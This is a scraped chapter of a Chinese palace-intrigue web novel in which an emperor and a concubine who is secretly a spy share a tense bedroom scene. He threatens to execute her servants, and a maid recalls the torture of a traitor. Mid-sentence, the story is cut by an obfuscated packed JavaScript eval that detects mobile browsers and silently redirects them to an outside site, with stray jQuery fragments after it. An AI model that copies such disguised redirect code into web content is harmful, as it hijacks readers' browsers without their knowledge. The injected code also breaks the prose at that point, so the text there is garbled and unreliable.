默认冷灰
24号文字
方正启体

34. 第 34 章

作者:城里梧桐本书字数:K更新时间:
    “陛下将我吵醒了。”江芙揉揉眼,伸手去拿那春.宫图。


    “不急,朕还没看完。”贺兰玥将册子放在背后,攥住江芙的手,嘴角嘲意不减:“阿芙觉得好看么?”


    江芙身子一瘫,无所谓道:“一般般吧,又不会动。”


    呵呵,这才哪儿到哪儿。随他看去。


    “哦?原来阿芙喜欢当面看这些。”贺兰玥却来了兴趣,男鬼一样贴在她身上:“好办得很,朕明日就叫人来给你演,男女随阿芙挑,每日都不重样。”


    江芙的身体僵住了。明明没有盖被子,她却感觉闷热。他身上的味道很清凉,像下了一整夜雪后的空气。


    “陛下,嫔妾好困。”她逃避地侧开脸。


    贺兰玥扶着江芙的后脑,抚摸她紧闭的眼:“朕忙了一整日都没阖眼,阿芙也不能睡。”


    简直没有道理,江芙的拳头攥紧又松开,抿嘴微笑:“好的。”


    “继续说,你从哪儿看的春.宫戏?”贺兰玥将头埋在她颈窝,抱怨着:“朕闷在宫里无趣得很,什么也没见过。阿芙,带朕去瞧瞧。”


    床幔散下来,隔绝外面的空气和烛光,将拔步床内聚拢成一个单独的空间,呼吸和声音都格外清晰。


    “陛下自己就可以去,您本事那样大,哪里去不得?何必拉上嫔妾。”江芙道。


    “你在怪朕禁足。”贺兰玥笑了,捏着她的后颈。


    “这倒没有。”江芙实话实说。


    他依旧笑着,没说话,手上却使了力气。不知道他按在哪个穴位,江芙只觉得自己身上一阵一阵发麻,像是有蚂蚁爬过。


    视线昏暗,帐幔外的灯光跳跃,她想抬手掀开帘子,被贺兰玥按下。


    “陛下到底想干什么?”江芙皱眉,不耐烦地问。


    贺兰玥抚平她的眉,接着咬在她耳尖,江芙没忍住哼了一下。这样的嘤咛之声,让她恨不得找个地缝钻进去。


    狠劲的、柔软的、亲密的,紧紧贴在她耳畔,像河底纷繁的水草,深黑的水,缠绕纠缠着她。


    他消耗着她,直到她失去所有气力。


    “别。”江芙吐出一个字。


    她很难受。


    偏偏贺兰玥毫无所觉,一本正经地说:“阿芙叫得很好听。”


    “还想听。”他撑在江芙上方,眼神却不带欲念,只是纯粹地看着她。用视线描绘她的脸颊、她的鼻尖、她的嘴角。


    江芙胸膛起伏,这让贺兰玥想起潮水退去后,搁浅在岸上的鱼儿。失去了水,只能吸进去毫无用处的空气,晶莹的腹鳍扇动着,任人宰割。


    不是说人在榻上都会呈现出最真实的一面吗,对于骗子也是如此吗?


    贺兰玥贴在她的额头,像是在研究什么,一尺一寸一毫厘,丈量着她的反应。


    “很有意思吗?”江芙眼尾扬起,曲起腿,抵着他。


    贺兰玥眼睫颤动,冷然的面孔有一瞬间的迷茫,又被江芙环住了脖子,压着他往下。


    她咬在他的唇上,毫不留情。


    血腥味弥漫。


    可她还没有放过他。


    身上难受的感觉消退,江芙反客为主,继续这个主动的吻。


    贺兰玥闭上眼。


    “陛下不喜欢嫔妾吗?”她微微后撤,离开他的唇,疑惑地问。


    他靠近,语气很轻:“别冤枉朕。”


    “那就是喜欢咯?”


    “倒是会往自己脸上贴金。”他再次否认。


    “睁眼看看我,陛下,皇上……贺兰玥。”江芙语速很慢,温柔地贴在他的脸庞:“为什么对我这样奇怪?”


    不是恨也不是爱,反复横跳,咬牙切齿。又收起毒牙,只是缠绕在她身上。


    “因为……”


    贺兰玥睁开眼,猛然顿住,手掌握住江芙纤细的脖子,歪头看她。


    他唇边还带着血:“朕不杀你,还可以杀别人。方宣适合腰斩、你这些宫人适合杖毙,或许能让阿芙听话许多。”


    “为什么不杀我?”江芙在黑暗里望着他,继续方才的疑问。


    眼看贺兰玥又要来点她的睡穴,江芙快速拦住他,妥协了:“好好好,我不问了。”


    她的眼睛扑闪着,哪里还是搁浅的鱼?分明是善于伪装的狐狸。


    贺兰玥顺势倒在她身边,赌气似的:“困了。”


    江芙支撑起身子,绕过他,将掉在脚踏的锦被捡起来。她裹着被子侧过身子睡觉,想了想,又分给贺兰玥一个被子角。


    折腾半晌,终于可以睡了。


    很快,江芙又做起另一个梦,这次的梦里没有可恶的蟒蛇,换成了毒药,喝下后肚子传来一阵痉挛。


    而贺兰玥正是灌她毒药的人!


    这狗皇帝!她就知道他心里蔫儿坏,嘴上说着不杀她,心里指不定多记恨她呢!


    “起来。”


    一道不耐烦的声音闯入她的梦境,随后是一阵暖流涌入身体。


    外面的天已经泛起鱼肚白,江芙再一次被贺兰玥弄醒。


    一看到这个投毒的罪魁祸首她就想发火,然而却看到贺兰玥的手搁在自己的小腹上,输送着奇妙的内力。


    他的脸色非常难看,像是因为缺血没了精力的吸血鬼,或者长相俊美却被吸走阳气的书生。


    “这……”江芙后知后觉,感到身下有些黏腻。


    她,来月事了。


    看到她的呆愣,贺兰玥打了个哈欠,很不爽地说:“总不能是伤了根骨,才落下葵水腹痛的毛病。”


    “原来受过伤?落水、罚跪、受冻?”他的手从江芙小腹移开,握在她的腕子上把脉。


    “……可能吧。”江芙不确定地回答,紧张地看他把脉。


    贺兰玥狐疑:“有就是有,什么叫可能?”


    她也很想知道啊。


    江芙拍着胸脯说良心话,这次的确不能怨她。


    但是原因自然是不能说的,她只得编了个理由:“数年前我的确掉进过池子里,之后还染上了风寒,在屋里歇了许久。”


    贺兰玥抬眸,江芙坦坦荡荡和他对视。这理由很恰当,不管贺兰玥信不信,反正她已经说服自己了。


    然而贺兰玥的神情高深莫测,又重新把了一次脉,薄茧摩挲着她的手腕。


    “陛下,我的脉象可有什么不妥之处?”江芙变得小心翼翼起来,她最怕体检了。


    妈呀,她不会得了什么绝症吧?


    待贺兰玥终于张口,江芙的心随之提起来,想听又不敢听。


    “忘了跟你说,朕不会把脉。”贺兰玥笑嘻嘻,丢开她的手。


    神经病啊啊啊!


    谁知他还探头过来,目光阴沉:“江芙,你心里在骂朕。”


    说对啦,骂的可不就是你嘛!


    江芙面带笑意地摇头。


    “好


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449082|166039||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了,朕一会儿让人来给你瞧瞧。”他站起来,穿上外袍。


    江芙坐在床榻:“谢谢陛下帮我缓解疼痛,别耽误了您上朝。”


    她偷偷看了眼被子下面,身下已经渗出血迹。面对这样窘迫的情况,江芙只想让贺兰玥快点走。


    外面的宫人听到寝殿里面的声音,询问是否需要进来服侍。


    贺兰玥没搭理,他已经穿好衣服收拾妥当,给江芙递了杯水,怨妇一样看着她:“爱妃看起来很希望朕离开。”


    江芙喝着水,很有魄力地说:“两情若是久长时,又岂在朝朝暮暮!陛下有更重要的事情要做,臣妾都懂。”


    “你懂什么呢,阿芙?”贺兰玥叹了口气,将她的名字念的很缠绵。


    在贺兰玥转身要走前,她终于想起来还有一事,连忙将孙阿宝与慧觉的事情告诉了他。


    “知道了。”他说,手指点在她眉心,认真叮嘱:“你——不要腹痛,不能乱跑,也不能突然就死了。”


    “臣妾自然不想死。”江芙皮笑肉不笑。


    他还是不满意,直到江芙向他郑重承诺自己不会突然死掉,才把这尊大佛送走。


    素蝉拿着干净衣物走进来,江芙去净室换了一身。


    “娘娘最近好似活泼了许多。”素蝉笑道。


    “是吗?”江芙坐在妆台前,她不是一直都这个样子吗?


    素蝉站在榻前,弯下腰来,一双杏眼温婉地看着江芙,为她擦去额头的薄汗。


    “真应了那句当局者迷、旁观者清,奴婢入宫这么久,前朝的今朝的事也听了不少,头一次见做皇帝的这样待人。”素蝉说着。


    “您为自己留后路也没错,陛下的名声是有些可怖,不过娘娘也可以试着珍惜眼前人。”


    天逐渐亮了,贺兰玥的内力还熨贴在她的腹部,一点点化开。


    “素蝉,你知道我的身份?”江芙听完她的话,有些惊讶。


    素蝉什么时候知晓她是细作的?


    “瑞香死的那日,奴婢跟着去了掖庭。汪公公拔了她的舌头,又留了一口气,让宫人们看瑞香死前挣扎,说这就是背叛主子的下场。”素蝉很平静。


    “后来是奴婢将瑞香的尸首裹起来,给处理尸首的宫人送去。他们都去抢瑞香身上的银票,奴婢便把她藏在鞋底的蜡丸拿走烧了。”


    江芙恍然,好奇道:“你当时就不想揭发我吗?”


    “还没来得及,您就让奴婢做大宫女了。”


    素蝉整理好床铺,又悄悄塞进去一个新的、更厚的小册子。


    *


    贺兰玥今日是穿着常服上朝的。


    盐铁使独子之死被压了下去,可不知怎么,从这位出入青楼的公子哥手里流出了今年会试的考题!


    今年是新的国子监祭酒上任第一年,居然出了这样的事。


    科举舞弊事关国本,非同小可,陛下震怒,令大理寺、刑部、御史台三司会审。


    下了朝,太和殿外的臣子排着队。贺兰玥在殿内一边听他们说,一边玩着竹蜻蜓。


    竹蜻蜓从半开的窗子飞出去,紧接着是一声惨叫,血迹呲在窗纱。


    “偷听可不好。”贺兰玥瘫在座上。


    刑部的苏尚书是个可堪重用的,他便多交待了几句。


    待臣子退下,汪文镜来了。


    “去查江芙在南皖的经历,事无巨细都要告诉朕。”贺兰玥道。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)